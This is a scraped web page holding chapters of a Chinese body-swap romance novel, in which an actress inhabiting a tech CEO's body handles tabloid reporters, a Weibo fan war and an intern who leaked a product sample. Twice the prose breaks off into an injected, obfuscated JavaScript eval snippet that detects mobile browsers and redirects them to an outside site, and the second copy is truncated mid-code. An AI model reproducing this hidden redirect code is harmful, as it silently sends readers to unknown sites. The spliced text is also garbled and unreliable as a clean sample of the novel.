陆嘉泽一头雾水,除非裴砚知特意说过,要不然乔缨没理由知道自己的名字。 更别提boss最不喜欢的,就是越俎代庖狐假虎威之辈。 以前也不乏有裴砚知连名字都不记得的昔日同窗,以老板的“好兄弟”自居,跑到公司里作威作福,结局无一例外都是被保安请出了集团大门。 以裴砚知的个性,绝对不会允许自己的下属随意被人差遣当牛马使唤。 作为一名贯会察言观色的高情商职场人,陆嘉泽立即明白了乔缨这般行事必定是得到了裴砚知的默许。 看来这两个人的关系比他想的还要亲密许多。 他扬起公式化的笑脸,客客气气地迎了上去,对乔缨的态度也从一开始的质疑和轻慢转变成了理解和尊重。 毕竟都这么蹬鼻子上脸了,换作别人早就被裴砚知骂得狗血淋头。 偏偏乔缨还能气定神闲地使唤对方替自己整理头发,气势一点不输对面的霸总,双手插兜,一脸无所畏惧。 喜报,他超爱。 “裴总,你———” 陆嘉泽的话被一阵喧闹声打断。 因为视频发酵得太快,一堆眼尖的记者火速找到了医院的具体位置,扛着相机就围了进来。 “这里人多眼杂,快去。” 裴砚知的眼里迅速染上一层不悦,言简意赅地扔下一句话,便拉起乔缨的手步履匆匆地消失在走廊拐角处。 怎么感觉老板娘比老板还霸道。 得,这下得伺候两个皇帝了。 陆嘉泽噎住,只感觉未来的职场生涯一片灰暗。 他认命般叹口气,依旧保持着公式化的笑容,任劳任怨地开始收拾烂摊子。 他转身对面前的人客气道:“不好意思,裴总和乔小姐有工作要谈,我先送您回去吧。” 顾舒柔摆摆手,她半小时后还有一场火锅局,因为离得不远,所以打算直接走过去,顺便给胃腾腾位置。 她揣着一兜的健胃消食片和蒙脱石散,和陆嘉泽并肩往外走。 经过刚刚的小插曲,顾舒柔好奇发问:“我听你叫她乔小姐?她是谁啊?” 陆嘉泽眉心一跳,生怕自己一个不注意就被卷进修罗场play里,颤颤巍巍不知如何作答。 顾舒柔没发现他的异常,低头自顾自地在搜索栏里打下乔缨的名字。 浏览器陡然跳出来一条营销号的视频。 从画面和右上角的台标来看,应该是乔缨参加某档综艺的片段。 她饶有兴味地打开,只见乔缨在自我介绍环节,语速飞快地开始报菜名: “大缨,蓉城人,演员,模特,最佳女配角提名者,稀有血型拥有者,钻石全脸,沃尔特怀特弟子,太阳处女月亮狮子,mbti是ursb,今年的运势是大吉……” 一旁的陆嘉泽不知所云,听得头晕脑胀。 他忍不住打断:“一楼大厅站不下这老多人……等等,谁是沃尔特怀特?” - “等等。” 裴砚知靠在防火门上喘着粗气,嘴里一股铁锈的味道,皱着眉吐槽:“你身体也太差了,跑几步喘得跟牛似的。” “所以你干嘛要跑?” 乔缨气定神闲地站在一旁,脸不红心不跳地开始瞎掰:“而且什么叫喘得跟牛似的,我好歹也是个女明星,这明明叫娇软清冷柔弱破碎感白月光好不好。” 大妹子,这是中文吗? 也不知道这一连串的浮夸形容词,她能对得上的有几个。 裴砚知揉揉太阳穴,斜她一眼,凉凉道:“好,女明星,你也不想被拍到吧?” 乔缨眨巴了一下眼睛。 确实不想。 但兄弟你这说法有点怪吧? “长话短说,乔盛合现在在icu里住着,乔俞诚让你推掉工作陪他治病,我要了百分之五的股份当赔偿。” 裴砚知歇了一会儿,平复着心跳,挑着重点说道。 “虽然要少了,但你居然还真要到了?”乔缨咋舌。 以乔俞诚的鸡贼程度,估计百分之五就是他能给的最大限度了。 不过,大概也能猜出乔俞诚的想法。 他爹现在生死未卜,事发突然也没来得及立遗嘱。 这要是死了,他爹攒下的基业可就要白白分她一半了。 而且协议的内容,肯定不止转让股份这么简单。 这百分之五的股份,恐怕买断的是她的继承权。 要不是惦记着乔缨对乔盛合的赡养义务,估计今天乔俞诚就会去民政局和她解除收养关系。 她面露纠结,嗫嚅道:“虽然人不能既要又要,但比起照顾糟老头子,我宁愿不要这点股份。” “你就安心收下吧,以后会有用的。” 裴砚知似笑非笑,“况且乔盛合应该活不到去美国的那天。” 他笃定的语气里明显带着厌恶,乔缨有些意外,挑眉问:“怎么,你也和乔老头有仇?” 像乔盛合这种做房地产起家的人,手脚都干净不到哪里去。 他这些年结怨的人不少,多得是趁他病要他命的仇家,否则乔俞诚也不会急着送他出国。 但裴砚知一个科技领域的新贵,显然不在仇家的范畴内。 就算他和乔缨有点交集,但也没道理在这么短的时间里就恨屋及乌。 “没什么大仇,但——” 裴砚知神色微动,看着她的眼睛,不知为何突然停顿了一下,答非所问道:“我换衣服的时侯看到了。” 乔缨的身上有两道淡淡的疤痕,十分狰狞地横在肋骨和后腰上。 从形状上来看,那像是被鞭子抽中的痕迹,大概是小时候留下的,现在已经浅得有些看不出了。 可以推测出当时打她的人一定下了重手。 皮开肉绽的伤口深可见骨,如今摸上去依旧隐隐发痒,身体下意识泛起酸楚的痛意,从指尖蔓延到心脏。 能给她造成这么大的心理阴影,这伤疤究竟是谁留下的,不言而喻。 乔缨惊讶了一瞬。 连她自己都忘了,这两道伤疤是因为犯了什么错才留下的了。 只记得她那时候应该刚来乔家不久,身为一家之主的乔盛合拿着马鞭,说要给她这个野丫头立立规矩。 那天雨下得很大,混合着鞭子抽打的声音,一下一下砸到雕花的玻璃窗户上。 血水渗入地毯,她紧咬着嘴唇,说什么也不认错,犟得像一头牛,就这么硬抗着,愣是没吭一声。 后来发生的事,倒是清清楚楚映在乔缨的脑海。 野蛮又倔强的女孩从袖口掏出一把餐刀,她那时不知道颈动脉才是人体要害,只是拼了命地将刀子送进男人的腹部。 血液四溅,耳边全是乔盛合的惊叫声。 她当时怎么说来着? 哦,我是未成年,我把你杀了也不犯法。 天可怜见,小小年纪就成了进狱系美女和法制咖预备役,要怪只能怪乔家的风水不好。 裴砚知自然是对这段黑深残的过往一无所知。 在他眼里,乔缨只是个在乔家受尽虐待的小可怜,才斟酌着语气,想安慰一下她。 但出乎裴砚知意料的是,乔缨并未露出什么阴暗反派被人关爱后感动到流泪的表情。 眼前这人只是没心没肺地拍了拍他的肩膀,嬉皮笑脸道:“哎呀,都过去了,你别用那种眼神看我,挺矫情的受不了。要真同情我,不如直接给我打钱。” “行吧,钻钱眼子里去了。” 明明是这么温馨又煽情的气氛,写进救赎文里都是一段佳话,全都被她那张破嘴给毁了。 裴砚知心里都准备放柯南经典感化犯人煽情bgm了,现在平白浪费了酝酿出的感情,只能没好气地瞪她一眼。 他垮下嘴角,道:“还好我钱多,过几天公司见吧,谈谈代言的事情。” 作为行业明灯,裴砚知创办的昭星科技主研芯片和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793634|158246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新型材料,涉及的领域众多,产品跨度大,从无人机到超轻钓鱼竿无不涉猎。 这次的新产品系列主打智能蓝牙耳机,目前正在铺货上市的准备阶段,为了融入市场,找谁代言一度成了难题。 昭星此前从未找过代言人,这次的新产品来头大,噱头足,这么一块绝世好饼却迟迟未定人选。 在外界纷纷揣测之际,有个人暗戳戳地开始自宣炒作。 “不是阮绵绵吗?” 乔缨疑惑地点开手机,指着阮绵绵最新一条微博,“业界都以为内定她了。” “阮绵绵?我还应邦邦呢。” 这名字不知道哪里戳中了裴砚知的笑穴,他嘴角上移两个像素。 可当他凑近看了一眼屏幕后,笑意又顿时消失在了脸上。 微博的发布时间在两天前,内容很简单,就是分享了一句歌词,配图是阮绵绵戴着蓝牙耳机的自拍。 重点在于,耳机上印着昭星的LOGO。 他拿过手机,放大图片仔仔细细看了几遍,而后笃定道:“这是内部测试的样品。” 问题是,这人从哪儿拿到的? 虽然已经过了保密阶段,但内部资料泄露可是件大事。 乔缨戏谑道:“你直接转发微博问问呗,爽文里的打脸环节都是这么干的。” 她只是随口一说拱把火,没想到裴砚知欣然接受了建议,还真登上了几百年没用过的微博账号,直接在转发区贴脸开大。 【用户8160231[转发]:这是昭星内部的测试样品,你是从哪里拿到的?集团资料外泄,兹事体大,烦请阮小姐提供一下线索。】 首先注意到他的,是评论区里自吹自擂的粉丝。 见他连个头像都没有,账号id也是默认名称,粉丝还以为是一般路过普通网友,立马激情开喷: 【哪家的黑酸拿个小号来造谣生事?转发过五百小心进局子。】 【躲在网络里的阴沟老鼠,眼红我们家绵绵就直说。】 【又是乔缨家的吧?代言在手,笑看疯狗。】 【棉花糖们别理他了,群里见。】 【别惹你棉爹,黑酸给我等着,我倒要看看躲在网线背后的是个什么阴沟老鼠。】 ……这是群什么东西,怎么感觉隔着屏幕都闻到了臭味。 被饭圈文化冲击到的裴砚知当即转发了那条威胁他开盒的微博,并配上四个挑衅的大字:“等你,别怂。” 臭名昭著的毒瘤这下算是踢到铁板了。 乔缨没有道德地笑了出来,给裴砚知支了个招:“你先让公关部的人联系微博给你做个认证吧,要不然权重太低容易被粉丝举报掉。” “你怎么这么熟练?” 裴砚知瞥她一眼,打开内部软件敲了敲公关部门的负责人,通知相关负责人彻查泄密事件。 昭星的人这时才知道发生了什么事,本就低气压的周一更加焦头烂额了起来。 紧急会议一个接一个地开,领导班子个个都出了一脑门儿的汗。 等阮绵绵的粉丝拿到了人肉信息,看都没看一眼便得意洋洋地发出来时———却发现用户8160231的昵称变成了【裴砚知】三个大字,简介里还挂着“昭星科技CEO”的认证,立即傻眼了。 一刷新,裴砚知寥寥无几的主页里多出了一条新微博,图片上密密麻麻全是账户id。 【裴砚知V:以上人员名单已移交法务部,炒作有底线,人品不能和演技一样烂,望自重@阮绵绵V。】 昭星旗下的蓝V官号动作迅速地转发了这条微博,事情彻底闹大,#人品不能和演技一样烂#挂上热搜第一。 有人吃瓜,有人洗白,有人倒油。 【内娱又闹笑话了,阮绵绵脸都被打肿了吧?】 【昭星蹭热度吧?人家又没说自己是代言人,是你们恶意揣测,现在还来倒打一耙,真不要脸。】 【当大家终于发现,我说很讨厌的那个人真的很讨厌时:黑T老头双手摊开.jpg】 看得出阮绵绵的团队试图找水军压热搜,但词条依旧纹丝不动,顺带还把那条医院修罗场视频刷上了热搜第二。 资本家出手果然稳准狠,一点情面都不留。 “万一以后你要和她合作怎么办?” 乔缨看热闹不嫌事大,“阮绵绵也算是新晋小花,粉丝挺多的呢。” “没什么合作的必要,阮绵绵商业价值不高。” 裴砚知一脸无所谓,公司以前做过脱水调研,和她团队吹出来的数据大相径庭。 “她的粉丝九成是男性,下沉市场消费意愿不高。某个友商被忽悠着请了她当代言人,结果新项目一个季度亏损三千万,愁得找大师算了几卦,都说是被她瘟到了。” 他“啧”了一声,语气轻蔑:“你知道的,我们做生意的人,最讲究风水了。” 10. 第十章 这什么反派发言。 人家可是主角,气运之子呢。 乔缨暗自摇摇头。 难怪书里没有提到过裴砚知的名字,看来他也是被主角光环碾压的众多炮灰之一。 尽管书中对于沈家等各圈太子爷的描述,比起现代共产主义社会,更像是果敢四大家族…… 但剧情的力量就是这么霸道且不讲逻辑。 原著里,沈氏集团后来成了京市最大的寡头,对于现在势头正猛的昭星科技和裴砚知却是半个字都没提。 像是凭空消失在了平行时空,没留下任何痕迹。 合理推测,要么破产要么被收购了。 想到这里,她生出一种同病相怜的感觉,宽慰地握住裴砚知的手,眼神坚定:“放心,我一定不会让你破产的!” 裴砚知:…… 好熟悉的话,好似曾相识的精神状态。 “我谢谢你,”裴砚知微垂着眼睫,把手抽了出来,“自从遇到你以后,什么奇怪的事都能让我碰上。” “倒霉是我的人生常态,你习惯就好,”乔缨哂笑,“珍惜吧,以后要是换回来,可再也体会不到这种狗屎一样的人生了。” 到底谁想要有这种体验,抖M吗? 裴砚知平静点头:“那你确实是我顺风顺水人生里的第一道坎。” 说到这里,天龙人的privilege已经尽数体现了呗。 乔缨的语气比青梅精还酸,不屑冷哼道:“京圈太子爷有什么了不起的,你这人设一点儿也不时髦,没市场了。” “那什么人设时髦?” 裴砚知也不恼,一副想看看她嘴里又要放什么屁的表情。 “我要做佛子。”乔缨飞速作答。 裴砚知冷笑:“我看你像个彪子。” 乔缨不信邪,掰着手指头一边数一边仔细琢磨着新人设:“那就京圈尼姑?京圈道士?京圈活佛?” 这人一本正经地满嘴跑火车,丫居然还越说越兴奋了。 裴砚知额角抽动,忍无可忍打断她:“你能别霍霍出家人了吗?多大仇多大怨?你当京圈出马仙得了。” “出马仙是东北的,还霸道总裁呢,这不傻——” 在他逐渐危险的眼神下,乔缨出于礼貌,还是咽下了最后一个字,撇撇嘴,一脸嫌弃地嘀嘀咕咕:“一点常识都没有。” 如果现在有个管家或者秘书在场,在看到裴砚知的表情后,一定会情不自禁地说一句:“总裁,您很久都没有这么笑过了。” 被气笑的。 他双手抱臂,一侧嘴角皮笑肉不笑地翘起,凉凉道:“您这伶牙俐齿的,怎么不拿去骂黑粉?” 乔缨摆摆手,满不在乎地说:“黑粉有什么好骂的,生活又不是爽文,我越理他们只会越过分,我的目光就是他们的兴奋剂。” 她说罢顿了顿,又道:“再说,冤有头债有主,你嘴这么毒,直接骂沈颐和阮绵绵更能让人破防好吧。” “心态挺好,”裴砚知点头夸了一句,“那我要是得罪人了,你可不能怪我。” 乔缨耸耸肩,“看你得罪谁吧,虽然现在我的名声已经臭得不能再臭了,但本人还是很热爱演员这份工作的,最起码得对粉丝和观众负责。你要是敢砸我饭碗,我可就赖上你了啊。” 和乔缨相处时,总有大半时间都在插科打诨,现下难得见她收敛起了吊儿郎当的态度,正经谈论某件事,裴砚知颇为意外。 只会混吃等死的娱乐圈草包他见得多了,没想到乔缨平时看起来不着调,居然还挺有心气。 毕竟就他了解的情况来看,让208w敬业比登天还难,有事业心已经超越百分之九十的同行了。 “先说好,我这个人掐尖要强得很,哪怕是当总裁也要当最牛逼的总裁,绝不会给你添乱。” 乔缨说话时散漫倚靠在扶手上,眼眸带着碎星似的烁亮。 风声呼啸,初冬毫无温度的阳光苍白斜照,从上方的狭小窗口微微弱弱透了进来。 她逆着光,坦坦荡荡站在那里,指着他神采奕奕地轻笑着说:“所以在身体没换回来之前,你也不许拖我的后腿,替我好好完成工作吧。” 明明是他自己的脸,裴砚知却仿佛能透这副无比熟悉的皮囊幻视到乔缨本人。 那是一种很盛大的漂亮,一种无法无天的自由和生命力,热烈到好像这个世界上没有什么东西能击垮她。 桀骜不驯,唯我独尊,鄙夷一切。 很成功的装逼犯,很具象的中二病。 或许是出于熟人滤镜,但他不得不承认这独一份的气质的确很吸引人。 好像能够理解哪怕乔缨黑料缠身,也依然有庞大的粉丝群体愿意溺爱她的原因了。 视线不着痕迹地在她脸上停留几秒,裴砚知唇角微扬,悠悠道:“怎么感觉你一点也不想换回来呢?” “要听实话吗?”乔缨觑起眼睛问。 “说吧。” 乔缨诚实地摇摇头。 她的想法很简单,好不容易当一回人上人,穷人乍富的体验卡怎么着也得多续几天,这不难理解吧? 所以乔缨斩钉截铁地回答了两个字:“不想。” 可你不是要结婚吗? 裴砚知下意识地想发出疑问,幸好脑子比嘴转得快,他冷静思考了几秒后,决定暂时先不提这件事。 她不问,他不说,她一问,他惊讶。 就在他思考的时候,一阵短促的铃声在空荡荡的楼梯间里响起。 裴砚知低头看到来电人名称,条件反射般接起电话,恢复了往常的冷淡语调,问道:“什么事?” “裴总,顾……” 陆嘉泽听到电话那头的女声,到了嘴边的话顿时卡了壳,一层冷汗又冒了出来。 他本想说已经把顾舒柔安全送到火锅店,可已知现在裴总和乔缨正在一起,职场草履虫的直觉告诉他——— 当着两人的面说这些,无异于是在自寻死路。 这话要是说出口了,他大概明天就会因为左脚踏入公司大门而被裴砚知开除。 更何况刚刚离开时,乔缨的表情并不怎么好看,昳丽的眉眼中还带着一股十分熟悉的压迫感。 一看就是生气了。 身为总裁的心腹,替他排忧解难乃是分内之事。 好吧,主要是想把这俩祖宗哄好了,下个月能多拿点奖金。 钱难挣,屎难吃。 资深打工人陆嘉泽深吸一口气,拿出毕生演技,熟练地换上了一种稍显谄媚却不失诚恳的声线。 他脸不红心不跳,从善如流地改口道:“裴总,您好久都没有这么笑过了。” 裴砚知沉默了两秒,以为他耳朵出问题了,蹙眉道:“……你在说什么?” 陆嘉泽继续睁着眼睛瞎掰:“乔小姐,是这样的,总裁好久没像今天这么笑过了,我想他一定是因为见到您才如此欣喜雀跃、心花怒放,您在他心里一定是很特别的存在。” 裴砚知听得一阵牙酸,一旁乔缨放肆的嘲笑声更是让他臊得慌。 他错了,真的,他从一开始就不应该管乔缨的闲事,要不然也不会走到像今天这么社死的地步。 而屏幕那头的陆嘉泽对此一无所知,听到裴总的笑声,还以为自己拍准了马屁。 他精神为之一振,继续兢兢业业走剧本念台词,言辞格外恳切: “我跟在裴总身边这么多年,还从未见到裴总对女人这么上心过!他一定是特别喜欢您,所以今早一起床,就说要给您账户上打一亿美元,再给您买三栋别墅,然后还要送您几辆跑车,最后——” 什么?! 裴砚知闻言迅速抬头,瞪大眼睛不可置信地看向乔缨。 那震惊的表情中带着三分茫然和七分错付真心,微妙又复杂,控诉且懊恼。 活像是被电信诈骗后得知真相的老实人。 确实,眼睛一闭一睁,钱就莫名其妙消失了,搁谁谁不想报警。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793635|158246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >眼见这把火烧到了自己身上,正呲着大牙幸灾乐祸的乔缨立马收住了笑容,猛咳一声。 她眼珠子一转,急忙打断陆嘉泽,装模作样地低声警告:“陆秘书,你话密了。” 陆嘉泽对于自己马屁拍到牛蹄上这件事一无所知,还以为是他自愿成为情侣play的一环给老板哄高兴了。 口嫌体正直,裴总说不定心里正暗爽着呢,电视剧里都这么演的。 他满脑子都幻想着下个月那不存在的奖金,喜滋滋地闭上了嘴等待指示。 乔缨也对他的希冀一无所知,仍在沉浸式扮演人设。 只见她勾起一抹邪魅的笑容,仿佛启动了身体里的某个程序,不受控制地全自动输出霸总语录:“陆秘书,你话太密了,下个月奖金氵———唔!” “你下个月奖金翻倍。” 裴砚知一手轻轻覆在乔缨的嘴唇上,看着她强掩心虚的脸,眼神玩味,不咸不淡地开口打断。 乔缨不满地拍拍他的手臂。 干嘛,她想说你下个月奖金涨了来着。 毕竟能瞎掰这么多也不容易。 能清晰地听到,屏幕那侧的陆嘉泽似乎紧张地捂住了听筒。 等待片刻后,他没有听到裴砚知的反对声,深吸了一口气,疲于工作的瞳孔骤然一亮。 “谢谢裴总。” 尽管语气保持着云淡风轻的平静,然而压制不住的颤音还是暴露了陆嘉泽内心的狂喜。 “现在医院的记者……已经走了,需要送两位回家吗?” 裴砚知言简意赅:“不用,我还有事。” 【你能有啥事?】 乔缨疑惑,用眼神询问他。 【总得先去楼上露个面。】 裴砚知伸出手,随意指了指天花板的方向。 “行吧,你加油。” 一想到裴砚知要和乔家这群疯子打交道,乔缨同情地拍了拍他的肩膀,推开门踏了出去。 与此同时。 半小时前被陆嘉泽偶遇的主播———偷吃贡品的小丁,也在直播间的弹幕上看到了有明星出现在医院的消息。 秉持着蹭热度的心态,他一瘸一拐踱到了一楼大厅,举着手机环着大厅拍了一圈,懵着脸连连发问:“哪呢?哪儿有明星啊?你们别是诓我的吧?” 有个落单的娱记刚从洗手间里出来,寻思着今天虽然什么都没拍到,但出都出来了,不如多混点时间。 他无所事事地凑到小丁旁边瞥了一眼屏幕,正巧看到镜头里有一男一女并肩走了过来。 其中,那身量极高的男人肩宽腿长,容貌出众,气质绝佳,一看就不是普通人,还莫名其妙有点眼熟。 出于职业的敏感度,娱记赶紧打开相机抓拍了一张照片,然后盯着两人远去的背影,皱着眉冥思苦想。 半分钟后,他突然想起来什么,赶紧掏出手机打开微博。 因为之前的风波,裴砚知那张打了码的身份证照片短短时间内被转了近万条,话题度居高不下,一度登上了热搜前几。 不为别的,就硬帅。 今天是什么日子啊,这也太热闹了。 对上脸后的娱记满脸震惊,看着相机里的抓拍照片喃喃出声:“我去,裴砚知怎么也在这里?他旁边的女人是谁啊?” 同样看到两人的小丁挠挠头。 他不认识裴砚知,只是凭着生活经验茫然揣测道:“啊?这小伙子应该是陪他哪个婶子啊大姨的看病呢吧?” 娱记看着照片中女人的打扮,觉得小丁说得有几分道理。 就算没拍到沈颐和阮绵绵,蹭蹭裴砚知的热度也挺好,反正能在主编那儿交差就行。 他和小丁告了别,揣着那张照片快马加鞭地赶回社里,打开电脑就是噼里啪啦一阵敲。 半小时后,一篇新鲜出炉的八卦新闻,悄无声息出现在网络世界的某个角落: 【感人!昭星总裁千亿身家不忘孝道,陪同老姨低调现身医院!】 11、第十一章 直到踏进昭星园区的这一刻,乔缨才后知后觉地体会到,这个总裁的分量真不是说说而已。 途径几栋造型别致的建筑物时,她的视线穿过二楼的透明玻璃窗,能看到里面的员工各个都神色凝重、脚步匆匆,有条不紊地运转着偌大的集团。 在九漏鱼遍地走的娱乐圈待惯了,这种陌生而紧张的职场氛围,连一向普信的乔缨都有些发怵。 对比很惨烈。 看着这些顶尖科技公司里的精英人士们,衬得局促的她像只刚化形的峨眉山野猴。 办公楼大厅内。 前台小姑娘余光忽然瞥见乔缨从车上下来,身形微不可见地僵住了一瞬。 她匆忙从桌上随便抓了一张表单,埋首紧盯,神情严肃,仿佛遇到了什么棘手的事情,然后拿着笔在表单上划拉了几下,用订书机对准纸张的页边,整得比太空站对接还谨慎专注。 一声“咔嚓”脆响后,小姑娘紧皱的眉头逐渐松开,嘴角还挂上了一抹如释重负的笑容。 听到乔缨的脚步声渐近,前台才装作恍然间不经意抬头。 她眼神里带着恰到好处的惊讶,中气十足地道了一声:“裴总,中午好!” 看着她身后被瓷砖反射出来的绿荧荧的蜘蛛纸牌页面,以及那略显偷感的表情,乔缨有点不忍心告诉她一个残酷的事实。 其实你老板那双视力5.0的眼睛,早已经目睹完了全程。 一番深思熟虑后,她朝前台略一点头,目不斜视地径直迈进了电梯,在心里默默为小姑娘掬一把社畜的心酸泪。 我懂,节目组来探班的时候,我也是这样装模作样读剧本的。 四下无人,陆嘉泽站在总裁专梯门口,低声询问:“量闻的项目负责人说想见您一面,您要直接去办公室吗?” 量闻便是即将推出的那款蓝牙耳机官方系列名,负责人这时候来找裴砚知,必定是因为资料泄露的事。 按理说这事儿几个相关的管理人员开了一早上的会,此时此刻应该也有些眉目了,这位大概是被推出来顶锅请罪的。 乔缨想了想,决定不如趁此机会多了解一下昭星的业务,思忖道:“不,先去量闻的项目组看看。” 陆嘉泽点头称是,伸手替她摁亮了楼层按钮。 见状,乔缨顿时松了一口气。 得亏裴砚知是个霸总,不用说就有秘书替他鞍前马后,要不然自己还得想办法摸清楚昭星的研发部门都在哪儿。 一时无言,宽敞明亮的电梯平稳运行,最终停在了十二层。 乔缨揣着一颗宛如在假装大人般忐忑不安的心,努力维持着高冷人设,面无表情走进了终端业务研发三部。 这一层主要是视听影音方向的产品线,还包括一些工艺设备等产品的研发部门。 和前台小姑娘一样,昭星的员工们在看到自家老板的身影出现在视线里时,表情皆是一震。 甭管在没在摸鱼,反正每个人都开始埋着头卖力地表演工作,像是打了鸡血一样,连敲打键盘的声音都大了几分。 大老板来了,居然没人上来套近乎。 乔缨啧啧称奇,看着缩在工位上神经紧绷的员工们,大概能推测出裴砚知平时应该不喜欢溜须拍马的人。 容熠端着咖啡从茶水间推门而出,险些将咖啡泼到乔缨身上,慌慌张张地低着头对着来人道歉:“不好意思,不好意思……” 她说完又发现好像有些不对劲,只觉得四周安静得过分,偶有几道微不可闻的抽气声。 她疑惑不解地抬头看了一眼,待看清楚面前这人的长相后,立马呆在了原地,瞪大眼睛结结巴巴道:“裴、裴总?!” “没事。” 乔缨一边说着,一边随意往她的工牌上扫了一眼,忽然认出来她是哪个产品线的员工。 什么叫缘分啊! 她颇为欣慰地看着容熠,发自内心称赞了一句:“你们的3d打印机不错。” 别问,问就是真消费才敢说实话。 下个月要不要偷偷给她的部门涨涨工资? 与乔缨的想法不谋而合的是,昭星内部有件众所周知的事情———能听到裴砚知夸奖的话,就意味着离提薪不远了。 容熠受宠若惊,等乔缨走远后,才迎着一众人羡慕嫉妒的眼神回到工位,在公司匿名论坛里发了一条情真意切的帖子: 【楼主:身为昭星的嫡员工,我从来不敢跟集团总裁裴砚知坐下喝一杯,因为害帕裴总深邃的眼,裴总的眼是员工们这辈子最怕看到的东西,而裴总的赞扬是员工们最渴望得到的东西。】 【楼主:虽然文案是偷的,但尊敬裴总的心是真的。】 临近饭点,摸鱼的人逐渐多了起来,很快便有人回复: 【1l:嗲子文学的风也是吹到昭星了。】 【2l:工人如果爱资本家就是贱得难受.jpg】 【3l:大家都好清醒啊,对着裴总那张脸还能说出这么冷酷无情的话,上班究竟给人带来了什么?】 【4l:尽管昭星待遇这么好,我也觉得自己整天在工位上拉磨。。。痛苦。。。】 【5l:都市隶人,骡马贵族。】 【6l:骂得好脏,我们只是同事,你越界了。】 一路畅通无阻地走到量闻项目组,远远便能看见一大堆人围在某处,人群中央传来一阵一阵高亢而尖利的哭泣声。 “怎么回事?” 乔缨刻意压低了眉眼,带着一身低气压走近,脸色沉沉。 围观的员工转头惊讶地看着她,随后面面相觑,自动为她让出来一条路。 量闻的负责人秦述阳在听到裴砚知来了十二楼后,连跑带走地赶了过来,刚好遇上这一幕。 他喘着粗气,指着跪趴在地上哭泣的女孩,语气急切道:“她、她就是偷样品的那个实习生。” 接过秦述阳手里的调查报告,乔缨用她看剧本锻炼出来的技巧一目十行地扫了一遍,迅速提炼出了一些关键信息。 这件事吧,说来也不复杂。 实习生名叫叶诗月,刚被招来量闻的测试组不久,上个月测试完后忘了把样品放回去,就这么在外套的兜里搁了两三个星期。 直到前几天降温的时候整理衣服,她才发现口袋里多了一对耳机,还以为是以前闲置的电子产品,就挂在某鱼上卖掉了,没想到牵扯出这么一档子事。 虽然看起来很扯,但世界就是个巨大的草台班子,这种巧合也不是不可能发生。 叶诗月哭得梨花带雨,秦述阳也言之凿凿,都说她的的确确是不小心才把样品从实验室带走的,没有主观恶意,不能构成违规倒卖公司产品的行为。 看着秦述阳焦急不安的表情,乔缨微妙地挑了挑眉。 多巧啊,她正好认识叶诗月是谁耶。 她拉开一张椅子,在叶诗月面前大马金刀坐下,眼神玩味。 直到叶诗月被盯得脸色发白,她才饶有深意地陈述了一个事实:“你认识阮绵绵。” 不仅认识,还是她后援会大粉,和阮绵绵工作室的人联系紧密,活跃到乔缨一眼就能认出来。 原因无他,只因叶诗月几年前给乔缨造过黄谣,还p过一些不堪入目的照片。 那时候乔缨虽然告了对方,但谅在她还是个未成年,便没怎么追究。 没想到啊,这狗终究还是改不了吃屎。 乔缨猝不及防的一记直球,打得抽抽噎噎的叶诗月一愣。 她咬着唇快速运转着大脑。 虽然不知道裴总是怎么知道这件事的,但只要她咬死不承认,凭她这张老实单纯的脸和栩栩如生的演技,卖卖惨总能糊弄过去。 在这里工作了几个月,她早发现量闻团队里的话语权,都在以秦述阳为首的一帮子正事不做只会拉帮结派的男人手里。 看起来人模狗样,嘴里大话一套一套,实则蠢钝如猪,好骗得很。 叶诗月酝酿了一下情绪,睁大通红的眼睛,倔强嘟嘴,一开口就是经典道德绑架: “对不起裴总,这件事是我一时疏忽大意,违反了规章制度……您可以开除我!可以罚我工资!我也可以把卖耳机的钱还给公司的!但我的家庭条件不好,还有爸爸妈妈要照顾,您可不可以不要报警,不要告诉其他人,我不想让他们在乡下知道我做了这种蠢事被开除……求求您了!” 不得不说,这不卑不亢的卖惨语录确实有点水平,加上她那老实巴交的可怜样,围观群众不由得一阵动容。 有人大着胆子劝解道:“这……小姑娘也不容易,留下案底也不好吧……” 乔缨看了他工牌一眼,上面写着:hr.盛衍。 一听到有人帮腔,秦述阳立马顺杆爬了上去,连忙点头说:“对、对啊,她年纪还小,粗心大意在所难免,给小姑娘一个改过自新的机会吧。” 惹人心烦的抽泣声哭得魔音入耳,哭得绕梁三日,哭得乔缨不耐烦地皱起眉。 她厉声呵斥一声:“哭什么哭,公司都被你哭散了。” 懒得再绕弯子,她朝陆嘉泽打了个响指,不再多说。 陆嘉泽立即用电脑调出了两份文件,展示在众人面前。 电脑分屏上,一侧是叶诗月的人事档案,一侧是三年前的一份公开裁判文书。 乔缨扬起下巴,朝叶诗月弯出一抹嘲讽的弧度:“叶小姐,你能解释一下,为什么三年前你还是某中专在读,如今却摇身一变成了名牌大学的毕业生了呢?” 其他人听到也傻眼了,凑近屏幕一看,发现两份资料姓名一样,身份证号也一样,这分明就是同一个人。 而这些人里,只有刚刚发言的盛衍和秦述阳丝毫没有惊讶之色,连装都装不出来,表情十分之怪异。 乔缨又转过头,视线在两人身上逡巡一圈,眼里寒光微闪,淡淡道:“怎么,刚才不挺大声的吗?现在不说话了?” “谁把她招进来的,谁负责背调审批的,谁把她这个学前教育专业的安排进测试组的,谁又将这份狗屁不通的报告写出来送到我手里的———” 她漫不经心把玩着手里的钢笔,尖锐的笔尖斜斜指向二人的方向,向后散漫一靠,瞳孔缩紧,笑道:“你们俩,谁能给我个说法?” 